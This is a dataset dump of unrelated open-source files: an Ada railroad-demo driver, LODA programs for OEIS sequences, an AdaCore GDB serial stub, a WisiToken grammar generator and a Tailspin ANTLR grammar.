max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
extern/game_support/stm32f4/src/driver.adb
AdaCore/training_material
15
30335
<filename>extern/game_support/stm32f4/src/driver.adb ------------------------------------------------------------------------------ -- -- -- GNAT EXAMPLE -- -- -- -- Copyright (C) 2014, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Ada.Real_Time; use Ada.Real_Time; with Screen_Interface; with Railroad; package body Driver is ---------------- -- Controller -- ---------------- task body Controller is Period : constant Time_Span := Milliseconds (60); -- arbitrary, but directly affects how fast the trains move -- and how quickly the screen responds to touch Next_Start : Time := Clock + Seconds (1); Current : Screen_Interface.Touch_State; Previous : Screen_Interface.Touch_State; begin delay until Next_Start; Screen_Interface.Initialize; Railroad.Initialize; Current := Screen_Interface.Get_Touch_State; Previous := Current; loop Current := Screen_Interface.Get_Touch_State; if Current.Touch_Detected /= Previous.Touch_Detected then if Current.Touch_Detected then Railroad.On_Touch ((Current.X, Current.Y)); end if; Previous := Current; end if; Railroad.Simulation_Step; Railroad.Draw; Next_Start := Next_Start + Period; delay until Next_Start; end loop; end Controller; end Driver;
oeis/064/A064757.asm
neoneye/loda-programs
11
10099
; A064757: a(n) = n*11^n - 1. ; 10,241,3992,58563,805254,10629365,136410196,1714871047,21221529218,259374246009,3138428376720,37661140520651,448795257871102,5316497670165373,62658722541234764,735195677817154575,8592599484487994106,100078511642860166657,1162022718519876379528,13454999898651200184019,155405248829421362125430,1790860486510474744493061,20594895594870459561670212,236393584219382666273084183,2708676485847093051045756274,30987258998090744503963451785,353969843170498119910659430016,4037878210981978553054929794267 add $0,1 mov $2,11 pow $2,$0 mul $0,$2 sub $0,1
programs/oeis/071/A071934.asm
karttu/loda
0
22872
; A071934: a(n) = Sum_{i=1..n} K(i+1,i), where K(x,y) is the Kronecker symbol (x/y). ; 1,0,1,2,3,4,5,6,7,6,7,8,9,10,11,12,13,12,13,14,15,16,17,18,19,18,19,20,21,22,23,24,25,24,25,26,27,28,29,30,31,30,31,32,33,34,35,36,37,36,37,38,39,40,41,42,43,42,43,44,45,46,47,48,49,48,49,50,51,52,53,54,55 mov $1,$0 add $1,1 lpb $0,1 trn $0,8 sub $1,2 lpe
bb-runtimes/powerpc/gdbstub/gdbstub.adb
JCGobbi/Nucleo-STM32G474RE
0
24031
<reponame>JCGobbi/Nucleo-STM32G474RE<gh_stars>0 ------------------------------------------------------------------------------ -- -- -- Copyright (C) 2010, AdaCore -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNARL is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNARL; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- ------------------------------------------------------------------------------ with Gdbstub_Io; use Gdbstub_Io; with Gdbstub.CPU; with Interfaces; use Interfaces; package body Gdbstub is Flag_Debug : constant Boolean := False; Exit_Stub_Loop : Boolean; procedure Debug_Put (C : Character); procedure Debug_Put (Msg : String); procedure Debug_Newline; procedure Debug_Put_Line (Msg : String); -- Output on the debug port. procedure Put_Line (Msg : String); pragma Unreferenced (Put_Line); -- Output on the serial port. function To_Hex (C : Character) return Unsigned_8; -- Convert a character to its value. -- Invalid characters return 16#ff#. procedure Read_Data (Start : Address; Len : Storage_Count; Success : in out Boolean); -- Append data to the current packet. procedure Write_Data (Start : Address; Len : Storage_Count; Success : in out Boolean); procedure Handle_Packet; procedure Handle_Query_Packet; procedure Handle_Breakpoint_Packet; procedure Handle_Cont_Packet; procedure Handle_Step_Packet; procedure Handle_Mem_Read_Packet; procedure Handle_Mem_Write_Packet; procedure Handle_Mem_Write_Binary_Packet; procedure Handle_All_Regs_Read_Packet; procedure Handle_All_Regs_Write_Packet; procedure Handle_Reg_Write_Packet; -- Handle incoming packet. procedure Reply_Status; procedure Reply_Ok; procedure Reply_Error (Err : Unsigned_8); -- Create a reply packet. procedure Append_Hex (V : Unsigned_8; Success : in out Boolean); -- Append a byte (in hex) to the current packet. procedure Send_Packet; -- Send the current packet. procedure Get_Packet; function Check_Packet_Checksum return Boolean; function Get_Packet_Body return Boolean; procedure Wait_Packet_Start; -- Packet input procedures. procedure Check_Hex_Digit (Success : in out Boolean); -- Check that the next character in the packet is an hex-digit character. -- Set Success to false in case of error. procedure Extract_Byte (Res : out Unsigned_8; Success : in out Boolean); procedure Extract_Address (Res : out Address; Success : in out Boolean); procedure Extract_Char (C : Character; Success : in out Boolean); procedure Extract_Len (Res : out Storage_Count; Success : in out Boolean); -- Extract a field from the current packet. Set success to false in case -- of error. Update Packet_Idx. function Is_EOP return Boolean; procedure Check_EOP (Success : in out Boolean); -- Check for end of packet. procedure Debug_Put (C : Character) is begin Write_Debug (C); end Debug_Put; procedure Debug_Put (Msg : String) is begin for I in Msg'Range loop Debug_Put (Msg (I)); end loop; end Debug_Put; procedure Debug_Newline is begin Write_Debug (ASCII.CR); Write_Debug (ASCII.LF); end Debug_Newline; procedure Debug_Put_Line (Msg : String) is begin Debug_Put (Msg); Debug_Newline; end Debug_Put_Line; procedure Put_Line (Msg : String) is begin for I in Msg'Range loop Write_Byte (Msg (I)); end loop; Write_Byte (ASCII.CR); Write_Byte (ASCII.LF); end Put_Line; Packet : String (1 .. 1024); -- Current packet. Packet_Len : Natural; -- Length of Packet. Packet_Idx : Natural; -- Current index while parsing the packet. Packet_Checksum : Unsigned_8; To_Char : constant array (Unsigned_8 range 0 .. 15) of Character := "0123456789ABCDEF"; function To_Hex (C : Character) return Unsigned_8 is begin case C is when '0' .. '9' => return Character'Pos (C) - Character'Pos ('0'); when 'a' .. 'f' => return Character'Pos (C) - Character'Pos ('a') + 10; when 'A' .. 'F' => return Character'Pos (C) - Character'Pos ('a') + 10; when others => return 255; end case; end To_Hex; procedure Wait_Packet_Start is C : Character; begin -- Wait for the start character. loop C := Read_Byte; exit when C = '$'; end loop; end Wait_Packet_Start; function Get_Packet_Body return Boolean is C : Character; begin loop Packet_Len := 0; Packet_Checksum := 0; loop if Packet_Len = Packet'Last then if Flag_Debug then Debug_Put_Line ("Packet too long"); return False; end if; end if; C := Read_Byte; exit when C = '$'; if C = '#' then return True; end if; Packet_Checksum := Packet_Checksum + Character'Pos (C); Packet_Len := Packet_Len + 1; Packet (Packet_Len) := C; end loop; if Flag_Debug then Debug_Put_Line ("start in the middle"); end if; end loop; end Get_Packet_Body; function Check_Packet_Checksum return Boolean is C : Character; V : array (1 .. 2) of Unsigned_8; begin for I in V'Range loop C := Read_Byte; V (I) := To_Hex (C); if V (I) > 15 then return False; end if; end loop; return V (1) * 16 + V (2) = Packet_Checksum; end Check_Packet_Checksum; procedure Get_Packet is -- Wait for the sequence $<data>#<checksum> begin loop Wait_Packet_Start; if Get_Packet_Body then if not Check_Packet_Checksum then -- NAK Write_Byte ('-'); Debug_Put_Line ("Bad checksum"); else -- ACK Write_Byte ('+'); return; end if; end if; end loop; end Get_Packet; Last_Signal : Unsigned_8; procedure Append_Hex (V : Unsigned_8; Success : in out Boolean) is begin if not Success then return; end if; if Packet_Len + 2 > Packet'Last then Success := False; return; end if; Packet (Packet_Len + 1) := To_Char (V / 16); Packet (Packet_Len + 2) := To_Char (V mod 16); Packet_Len := Packet_Len + 2; end Append_Hex; procedure Reply_Status is Succ : Boolean := True; begin Packet (1) := 'S'; Packet_Len := 1; Append_Hex (Last_Signal, Succ); pragma Assert (Succ); end Reply_Status; procedure Reply_Error (Err : Unsigned_8) is Succ : Boolean := True; begin Packet (1) := 'E'; Packet_Len := 1; Append_Hex (Err, Succ); pragma Assert (Succ); end Reply_Error; procedure Reply_Ok is begin Packet (1) := 'O'; Packet (2) := 'K'; Packet_Len := 2; end Reply_Ok; procedure Read_Data (Start : Address; Len : Storage_Count; Success : in out Boolean) is begin for Off in 0 .. Len - 1 loop exit when not Success; declare B : Unsigned_8; for B'Address use Start + Off; begin Append_Hex (B, Success); end; end loop; end Read_Data; procedure Write_Data (Start : Address; Len : Storage_Count; Success : in out Boolean) is begin for Off in 0 .. Len - 1 loop exit when not Success; declare B : Unsigned_8; for B'Address use Start + Off; begin Extract_Byte (B, Success); end; end loop; end Write_Data; -- Handle 'q' packets. procedure Handle_Query_Packet is begin if Flag_Debug then Debug_Put ("query packet: "); Debug_Put_Line (Packet (1 .. Packet_Len)); end if; if Packet_Len >= 10 and then Packet (1 .. 10) = "qSupported" then -- No extra features supported. Packet_Len := 0; elsif Packet_Len = 2 and then Packet (1 .. 2) = "qC" then -- Current thread. Packet (3) := '0'; Packet_Len := 3; elsif Packet_Len = 9 and then Packet (1 .. 9) = "qSymbol::" then -- We don't query symbols. Reply_Ok; else -- Ignored. Debug_Put ("ignored query packet: "); Debug_Put_Line (Packet (1 .. Packet_Len)); Packet_Len := 0; end if; end Handle_Query_Packet; -- Handle 'z'/'Z' packets. procedure Handle_Breakpoint_Packet is begin if Flag_Debug then Debug_Put ("breakpoint packet: "); Debug_Put_Line (Packet (1 .. Packet_Len)); end if; if True then -- Ignored. Debug_Put ("ignored break packet: "); Debug_Put_Line (Packet (1 .. Packet_Len)); Packet_Len := 0; end if; end Handle_Breakpoint_Packet; procedure Check_Hex_Digit (Success : in out Boolean) is begin if not Success then return; end if; if Packet_Idx > Packet_Len then Success := False; return; end if; if To_Hex (Packet (Packet_Idx)) > 15 then Success := False; return; end if; end Check_Hex_Digit; procedure Extract_Byte (Res : out Unsigned_8; Success : in out Boolean) is Vh, Vl : Unsigned_8; begin Res := 0; if not Success then return; end if; if Packet_Idx + 1 > Packet_Len then Success := False; return; end if; Vh := To_Hex (Packet (Packet_Idx + 0)); Vl := To_Hex (Packet (Packet_Idx + 1)); Packet_Idx := Packet_Idx + 2; if Vh > 15 or else Vl > 15 then Success := False; return; end if; Res := Vh * 16 + Vl; end Extract_Byte; procedure Extract_Address (Res : out Address; Success : in out Boolean) is V : Unsigned_8; Resint : Integer_Address; begin Check_Hex_Digit (Success); if not Success then return; end if; V := To_Hex (Packet (Packet_Idx)); Resint := 0; loop Resint := Resint * 16 + Integer_Address (V); Packet_Idx := Packet_Idx + 1; exit when Packet_Idx > Packet_Len; V := To_Hex (Packet (Packet_Idx)); exit when V > 15; end loop; Res := To_Address (Resint); end Extract_Address; procedure Extract_Char (C : Character; Success : in out Boolean) is begin if not Success then return; end if; if Packet_Idx > Packet_Len then Success := False; return; end if; if Packet (Packet_Idx) /= C then Success := False; return; end if; Packet_Idx := Packet_Idx + 1; end Extract_Char; procedure Extract_Len (Res : out Storage_Count; Success : in out Boolean) is V : Unsigned_8; Resint : Storage_Count; begin Check_Hex_Digit (Success); if not Success then Res := 0; return; end if; V := To_Hex (Packet (Packet_Idx)); Resint := 0; loop Resint := Resint * 16 + Storage_Count (V); Packet_Idx := Packet_Idx + 1; exit when Packet_Idx > Packet_Len; V := To_Hex (Packet (Packet_Idx)); exit when V > 15; end loop; Res := Resint; end Extract_Len; function Is_EOP return Boolean is begin return Packet_Idx = Packet_Len + 1; end Is_EOP; procedure Check_EOP (Success : in out Boolean) is begin if not Is_EOP then Success := False; end if; end Check_EOP; procedure Handle_Mem_Read_Packet is Addr : Address; Len : Storage_Count; Success : Boolean; begin Packet_Idx := 2; Success := True; Extract_Address (Addr, Success); Extract_Char (',', Success); Extract_Len (Len, Success); Check_EOP (Success); if not Success then Reply_Error (1); return; end if; Packet_Len := 0; Read_Data (Addr, Len, Success); if not Success then Reply_Error (2); end if; end Handle_Mem_Read_Packet; procedure Handle_Mem_Write_Packet is Addr : Address; Len : Storage_Count; Success : Boolean; begin Packet_Idx := 2; Success := True; Extract_Address (Addr, Success); Extract_Char (',', Success); Extract_Len (Len, Success); Extract_Char (':', Success); if not Success then Reply_Error (1); return; end if; Write_Data (Addr, Len, Success); if Success then CPU.Invalidate_Icache (Addr, Len); Reply_Ok; else Reply_Error (1); end if; end Handle_Mem_Write_Packet; procedure Handle_Mem_Write_Binary_Packet is Addr : Address; Len : Storage_Count; Success : Boolean; B : Unsigned_8; begin Packet_Idx := 2; Success := True; Extract_Address (Addr, Success); Extract_Char (',', Success); Extract_Len (Len, Success); Extract_Char (':', Success); if not Success then Reply_Error (1); return; end if; for I in 0 .. Len - 1 loop if Packet_Idx > Packet_Len then Success := False; exit; end if; B := Character'Pos (Packet (Packet_Idx)); Packet_Idx := Packet_Idx + 1; if B = 16#7d# then -- Escape character. if Packet_Idx > Packet_Len then Success := False; exit; end if; B := Character'Pos (Packet (Packet_Idx)) xor 16#20#; Packet_Idx := Packet_Idx + 1; end if; declare M : Unsigned_8; for M'Address use Addr + I; begin M := B; end; end loop; Check_EOP (Success); if Success then CPU.Invalidate_Icache (Addr, Len); Reply_Ok; else Reply_Error (1); end if; end Handle_Mem_Write_Binary_Packet; procedure Handle_All_Regs_Write_Packet is Success : Boolean; begin Packet_Idx := 2; Success := True; Write_Data (Registers_Area, Registers_Size, Success); if not Success then Reply_Error (2); elsif not Is_EOP then Reply_Error (1); else Reply_Ok; end if; end Handle_All_Regs_Write_Packet; procedure Handle_All_Regs_Read_Packet is Success : Boolean; begin Packet_Len := 0; Success := True; Read_Data (Registers_Area, Registers_Size, Success); if not Success then Reply_Error (2); end if; end Handle_All_Regs_Read_Packet; procedure Handle_Reg_Write_Packet is Success : Boolean; Len : Storage_Count; Addr : Address; Size : Storage_Count; begin Packet_Idx := 2; Success := True; Extract_Len (Len, Success); Extract_Char ('=', Success); if not Success or else Len > Natural'Pos (Natural'Last) then Reply_Error (1); return; end if; CPU.Get_Register_Area (Natural (Len), Addr, Size); if Size = 0 then Reply_Error (1); return; end if; Write_Data (Addr, Size, Success); if not Success then Reply_Error (2); elsif not Is_EOP then Reply_Error (1); else Reply_Ok; end if; end Handle_Reg_Write_Packet; procedure Handle_Cont_Packet is begin Packet_Idx := 2; if Is_EOP then CPU.Set_Trace_Flag (False); Exit_Stub_Loop := True; else Reply_Error (1); end if; end Handle_Cont_Packet; procedure Handle_Step_Packet is begin Packet_Idx := 2; if Is_EOP then CPU.Set_Trace_Flag (True); Exit_Stub_Loop := True; else Reply_Error (1); end if; end Handle_Step_Packet; procedure Handle_Packet is begin if Flag_Debug then Debug_Put ("packet: "); Debug_Put (Packet (1)); Debug_Newline; end if; case Packet (1) is when '?' => -- Reason Reply_Status; when 'c' => Handle_Cont_Packet; when 'g' => -- Get registers. Handle_All_Regs_Read_Packet; when 'G' => -- Write registers Handle_All_Regs_Write_Packet; when 'H' => -- Thread selection packet. -- Ignore it. Packet_Len := 0; when 'k' => Packet_Len := 0; Kill; when 'm' => -- Memory read. Handle_Mem_Read_Packet; when 'M' => -- Memory write. Handle_Mem_Write_Packet; when 'P' => Handle_Reg_Write_Packet; when 'q' => -- Query packet. Handle_Query_Packet; when 's' => Handle_Step_Packet; when 'X' => -- Memory write in binary. Handle_Mem_Write_Binary_Packet; when 'z' | 'Z' => Handle_Breakpoint_Packet; when others => -- Ignore other commands. Debug_Put ("ignored packet: "); Debug_Put (Packet (1)); Debug_Newline; Packet_Len := 0; end case; end Handle_Packet; procedure Send_Packet is Checksum : Unsigned_8; begin Write_Byte ('$'); Checksum := 0; for I in 1 .. Packet_Len loop Checksum := Checksum + Character'Pos (Packet (I)); Write_Byte (Packet (I)); end loop; Write_Byte ('#'); Write_Byte (To_Char (Checksum / 16)); Write_Byte (To_Char (Checksum mod 16)); end Send_Packet; procedure Handle_Exception (Sig : Natural) is begin -- Send status. Last_Signal := Unsigned_8 (Sig); Reply_Status; Send_Packet; Exit_Stub_Loop := False; loop Get_Packet; if Packet_Len /= 0 then Handle_Packet; exit when Exit_Stub_Loop; Send_Packet; end if; end loop; end Handle_Exception; procedure Stub is begin Gdbstub_Io.Initialize; -- Put_Line ("AdaCore GdbStub"); Debug_Put_Line ("AdaCore GdbStub - Debug port"); CPU.Setup_Handlers; CPU.Breakpoint; end Stub; end Gdbstub;
.emacs.d/elpa/wisi-2.1.1/wisitoken-bnf-generate_grammar.adb
caqg/linux-home
0
10189
-- Abstract : -- -- Output Ada source code to recreate Grammar. -- -- Copyright (C) 2018 Free Software Foundation, Inc. -- -- This library is free software; you can redistribute it and/or modify it -- under terms of the GNU General Public License as published by the Free -- Software Foundation; either version 3, or (at your option) any later -- version. This library is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN- -- TABILITY or FITNESS FOR A PARTICULAR PURPOSE. -- As a special exception under Section 7 of GPL version 3, you are granted -- additional permissions described in the GCC Runtime Library Exception, -- version 3.1, as published by the Free Software Foundation. pragma License (Modified_GPL); with Ada.Text_IO; use Ada.Text_IO; with WisiToken.Generate; with WisiToken.Productions; procedure WisiToken.BNF.Generate_Grammar (Grammar : in WisiToken.Productions.Prod_Arrays.Vector; Action_Names : in WisiToken.Names_Array_Array) is use all type Ada.Containers.Count_Type; use Ada.Strings.Unbounded; use WisiToken.Generate; use WisiToken.Productions; Text : Unbounded_String; Need_Comma : Boolean := False; begin Indent_Line ("Grammar.Set_First (" & Trimmed_Image (Grammar.First_Index) & ");"); Indent_Line ("Grammar.Set_Last (" & Trimmed_Image (Grammar.Last_Index) & ");"); for Prod of Grammar loop Indent_Line ("declare"); Indent_Line (" Prod : Instance;"); Indent_Line ("begin"); Indent := Indent + 3; Indent_Line ("Prod.LHS := " & Trimmed_Image (Prod.LHS) & ";"); Indent_Line ("Prod.RHSs.Set_First (0);"); Indent_Line ("Prod.RHSs.Set_Last (" & Trimmed_Image (Prod.RHSs.Last_Index) & ");"); for RHS_Index in Prod.RHSs.First_Index .. Prod.RHSs.Last_Index loop declare RHS : Right_Hand_Side renames Prod.RHSs (RHS_Index); begin Indent_Line ("declare"); Indent_Line (" RHS : Right_Hand_Side;"); Indent_Line ("begin"); Indent := Indent + 3; if RHS.Tokens.Length > 0 then Indent_Line ("RHS.Tokens.Set_First (1);"); Indent_Line ("RHS.Tokens.Set_Last (" & Trimmed_Image (Prod.RHSs (RHS_Index).Tokens.Last_Index) & ");"); if RHS.Tokens.Length = 1 then Indent_Line ("To_Vector ((1 => " & Trimmed_Image (RHS.Tokens (1)) & "), RHS.Tokens);"); else Need_Comma := False; Text := +"To_Vector (("; for ID of RHS.Tokens loop if Need_Comma then Text := Text & ", "; else Need_Comma := True; end if; Text := Text & Trimmed_Image (ID); end loop; Text := Text & "), RHS.Tokens);"; Indent_Wrap (-Text); end if; end if; if Action_Names (Prod.LHS) /= null and then Action_Names (Prod.LHS)(RHS_Index) /= null then Indent_Line ("RHS.Action := " & Action_Names (Prod.LHS)(RHS_Index).all & "'Access;"); end if; Indent_Line ("Prod.RHSs (" & Trimmed_Image (RHS_Index) & ") := RHS;"); Indent := Indent - 3; Indent_Line ("end;"); end; end loop; Indent_Line ("Grammar (" & Trimmed_Image (Prod.LHS) & ") := Prod;"); Indent := Indent - 3; Indent_Line ("end;"); end loop; end WisiToken.BNF.Generate_Grammar;
TailspinParser.g4
tobega/tailspin-v0
22
215
<reponame>tobega/tailspin-v0<filename>TailspinParser.g4<gh_stars>10-100 parser grammar TailspinParser; options { tokenVocab = TailspinLexer; } program: useModule* inclusion* statement (statement)* EOF; inclusion: Include (localIdentifier From)? stringLiteral; statement: definition | valueChainToSink | templatesDefinition | processorDefinition | composerDefinition | testDefinition | operatorDefinition | dataDeclaration ; definition: Def key valueProduction SemiColon; valueChainToSink: valueChain To sink; templatesDefinition: (StartTemplatesDefinition|StartSinkDefinition|StartSourceDefinition) localIdentifier parameterDefinitions? localDataDeclaration? templatesBody EndDefinition localIdentifier; processorDefinition: StartProcessorDefinition localIdentifier parameterDefinitions? localDataDeclaration? block typestateDefinition* EndDefinition localIdentifier; typestateDefinition: StartStateDefinition localIdentifier messageDefinition* EndDefinition localIdentifier; messageDefinition: templatesDefinition | processorDefinition | composerDefinition | operatorDefinition; composerDefinition: StartComposerDefinition localIdentifier parameterDefinitions? localDataDeclaration? composerBody EndDefinition localIdentifier; testDefinition: StartTestDefinition stringLiteral useModule* programModification? testBody EndDefinition stringLiteral; operatorDefinition: StartOperatorDefinition LeftParen localIdentifier localIdentifier parameterDefinitions? localIdentifier RightParen localDataDeclaration? templatesBody EndDefinition localIdentifier; dataDeclaration: DataDefinition dataDefinition (Comma dataDefinition)*; dataDefinition: localIdentifier matcher; localDataDeclaration: DataDefinition localDataDefinition (Comma localDataDefinition)* LocalDefinition; localDataDefinition: localIdentifier matcher?; key: localIdentifier Colon; parameterDefinitions: And LeftBrace (key Comma?)+ RightBrace; source: rangeLiteral | sourceReference | stringLiteral | arrayLiteral | relationLiteral | structureLiteral | bytesLiteral | LeftParen keyValue RightParen | arithmeticValue | operatorExpression ; sourceReference: (SourceMarker anyIdentifier? | Reflexive) reference Message? parameterValues? | DeleteMarker stateIdentifier reference; reference: lens? structureReference*; structureReference: FieldReference lens?; lens: LeftParen dimensionReference (SemiColon dimensionReference)* RightParen; dimensionReference: simpleDimension|multiValueDimension|projection|key|localIdentifier|grouping; simpleDimension: sourceReference|arithmeticValue|rangeLiteral; multiValueDimension: LeftBracket simpleDimension (Comma simpleDimension)* RightBracket; projection: LeftBrace ((key|keyValue) (Comma (key|keyValue))*)? RightBrace; grouping: Collect LeftBrace collectedValue (Comma collectedValue)* RightBrace By source; collectedValue: key templatesReference; arrayLiteral: LeftBracket RightBracket | LeftBracket arrayExpansion (Comma arrayExpansion)* RightBracket; valueProduction: sendToTemplates | valueChain; structureLiteral: LeftBrace (structureExpansion (Comma structureExpansion)*)? RightBrace; relationLiteral: LeftBrace Else (structures (Comma structures)*)? Else RightBrace; bytesLiteral: StartBytes byteValue (byteValue)* EndBytes; byteValue: Bytes | LeftParen valueProduction RightParen | operatorExpression; structures: structureLiteral | valueProduction ; arrayExpansion: By? valueProduction; structureExpansion: keyValue | By? valueProduction ; keyValue: key valueProduction; templates: templatesReference # callDefinedTransform | source # literalTemplates | Lambda localIdentifier? LeftParen localDataDeclaration? templatesBody Lambda localIdentifier? RightParen # lambdaTemplates | Lambda localIdentifier? arrayIndexDecomposition LeftParen localDataDeclaration? templatesBody Lambda localIdentifier? RightParen # lambdaArrayTemplates ; arrayIndexDecomposition: LeftBracket localIdentifier (SemiColon localIdentifier)* RightBracket; sink: ResultMarker ((anyIdentifier reference Message? parameterValues?) | Void); templatesReference: anyIdentifier reference Message? parameterValues?; parameterValues: And LeftBrace (parameterValue Comma?)+ RightBrace; parameterValue: key (valueChain|templatesReference|(Colon lens | Colon LeftParen RightParen)); templatesBody: block matchTemplate* | matchTemplate+ ; matchTemplate: matcher block | When? matcher Do? block | Otherwise block; block: (blockExpression+ | (ResultMarker Void)); blockExpression: blockStatement | stateAssignment | sendToTemplates | resultValue ; resultValue: valueChain ResultMarker; blockStatement: statement; sendToTemplates: valueChain To TemplateMatch; stateAssignment: (valueChain To)? stateSink; stateSink: (Range Else)? stateIdentifier reference Colon valueProduction SemiColon; valueChain: source transform?; collectorChain: To Range Equal templatesReference; transform: To templates transform? | Deconstructor transform? | collectorChain transform? ; matcher: StartMatcher (Invert? membrane (Else membrane)*)? EndMatcher; membrane: (literalMatch | typeMatch) condition* | condition+; typeMatch: rangeBounds # rangeMatch | stringLiteral # regexpMatch | LeftBrace (key structureContentMatcher Comma?)* (Comma? Void)? RightBrace # structureMatch | LeftBracket arrayContentMatcher? (Comma arrayContentMatcher)* (Comma? Void)? RightBracket (LeftParen (rangeBounds|arithmeticValue) RightParen)? # arrayMatch | (localIdentifier|externalIdentifier) # stereotypeMatch | unit # unitMatch ; structureContentMatcher: matcher | Void; arrayContentMatcher: (matcher|sequenceMatch) multiplier?; sequenceMatch: LeftParen matcher (Colon matcher)+ RightParen; literalMatch: Equal source; rangeBounds: lowerBound? Range upperBound?; condition: BeginCondition valueChain matcher RightParen; lowerBound: (sourceReference|arithmeticValue|stringLiteral|term) Invert?; upperBound: Invert? (sourceReference|arithmeticValue|stringLiteral|term); rangeLiteral: lowerBound? Range upperBound? (Colon arithmeticValue)?; integerLiteral: (Zero | nonZeroInteger) unit?; unit: Scalar | Quote measureProduct measureDenominator? Quote; measureProduct: localIdentifier*; measureDenominator: Slash measureProduct; nonZeroInteger: additiveOperator? PositiveInteger; stringLiteral: START_STRING stringContent* END_STRING; stringContent: stringInterpolate | STRING_TEXT; stringInterpolate: interpolateEvaluate|characterCode; characterCode: StartCharacterCode arithmeticValue EndStringInterpolate; interpolateEvaluate: StartStringInterpolate (anyIdentifier? reference Message? parameterValues? | Colon source) transform? (To TemplateMatch)? EndStringInterpolate; arithmeticValue: arithmeticExpression; arithmeticExpression: integerLiteral | LeftParen arithmeticExpression RightParen unit? | term unit | additiveOperator? sourceReference | arithmeticExpression multiplicativeOperator arithmeticExpression | arithmeticExpression additiveOperator arithmeticExpression | arithmeticContextKeyword | arithmeticExpression multiplicativeOperator term | arithmeticExpression additiveOperator term | termArithmeticOperation ; termArithmeticOperation: term multiplicativeOperator (term|arithmeticExpression) | term additiveOperator (term|arithmeticExpression) ; additiveOperator: Plus | Minus; multiplicativeOperator: Star | TruncateDivide | Mod; term: LeftParen valueProduction RightParen|operatorExpression; operatorExpression: LeftParen operand templatesReference operand RightParen; operand: source | term; composerBody: stateAssignment? compositionSequence definedCompositionSequence* ; definedCompositionSequence: Rule key compositionSequence ; compositionSequence: compositionComponents | compositionSkipRule+ ; compositionComponents: compositionSkipRule* compositionComponent (Comma? compositionComponents)?; compositionComponent: compositionMatcher transform? compositionSkipRule*; compositionMatcher: tokenMatcher | LeftBracket (compositionSequence|compositionSkipRule)? RightBracket | LeftBrace (structureMemberMatchers|compositionSkipRule)? RightBrace | source | compositionKeyValue ; structureMemberMatchers: compositionSkipRule* structureMemberMatcher (Comma? structureMemberMatchers)?; structureMemberMatcher: (tokenMatcher|compositionKeyValue) compositionSkipRule*; tokenMatcher: StartMatcher Invert? compositionToken (Else compositionToken)* EndMatcher multiplier?; compositionToken: (literalComposition|localIdentifier|stringLiteral| unit); literalComposition: Equal (sourceReference|stringLiteral); multiplier: Plus | Star | Question | Equal (PositiveInteger|sourceReference) ; compositionSkipRule: LeftParen compositionCapture+ RightParen; compositionCapture: (Def key compositionMatcher transform? SemiColon)|(compositionMatcher (transform? To stateSink)?)|stateAssignment; compositionKeyValue: (key|compositionKey) compositionSkipRule* compositionComponent; compositionKey: tokenMatcher Colon; localIdentifier: IDENTIFIER | keyword; stateIdentifier: STATE_IDENTIFIER; externalIdentifier: localIdentifier (Slash localIdentifier)+; anyIdentifier: stateIdentifier | localIdentifier | externalIdentifier; arithmeticContextKeyword: First | Last ; keyword: Include | Def | StartTemplatesDefinition | StartSourceDefinition | StartSinkDefinition | StartComposerDefinition | StartProcessorDefinition | StartOperatorDefinition | StartStateDefinition | EndDefinition | DataDefinition | LocalDefinition | Mod | Rule | When | Do | Otherwise | arithmeticContextKeyword | StartTestDefinition | Assert | With | Provided | Modified | Shadowed | From | Use | Program | Modify | By | Collect ; testBody: testBlock+; testBlock: statement* assertion+; assertion: Assert valueChain matcher stringLiteral; dependencyProvision: With moduleConfiguration+ Provided; moduleConfiguration: (moduleIdentifier From)? Shadowed moduleIdentifier dependencyProvision? statement+ EndDefinition moduleIdentifier #moduleShadowing | moduleIdentifier Inherited (From moduleIdentifier)? #inheritModule | (moduleIdentifier From)? Modified stringLiteral dependencyProvision? statement+ EndDefinition stringLiteral #moduleModification | (moduleIdentifier From)? stringLiteral (StandAlone|dependencyProvision) #moduleImport ; moduleIdentifier: CoreSystem | localIdentifier; useModule: Use moduleConfiguration; programModification: Modify Program statement+ EndDefinition Program;
demo/adainclude/s-bbprot.adb
e3l6/SSMDev
0
11359
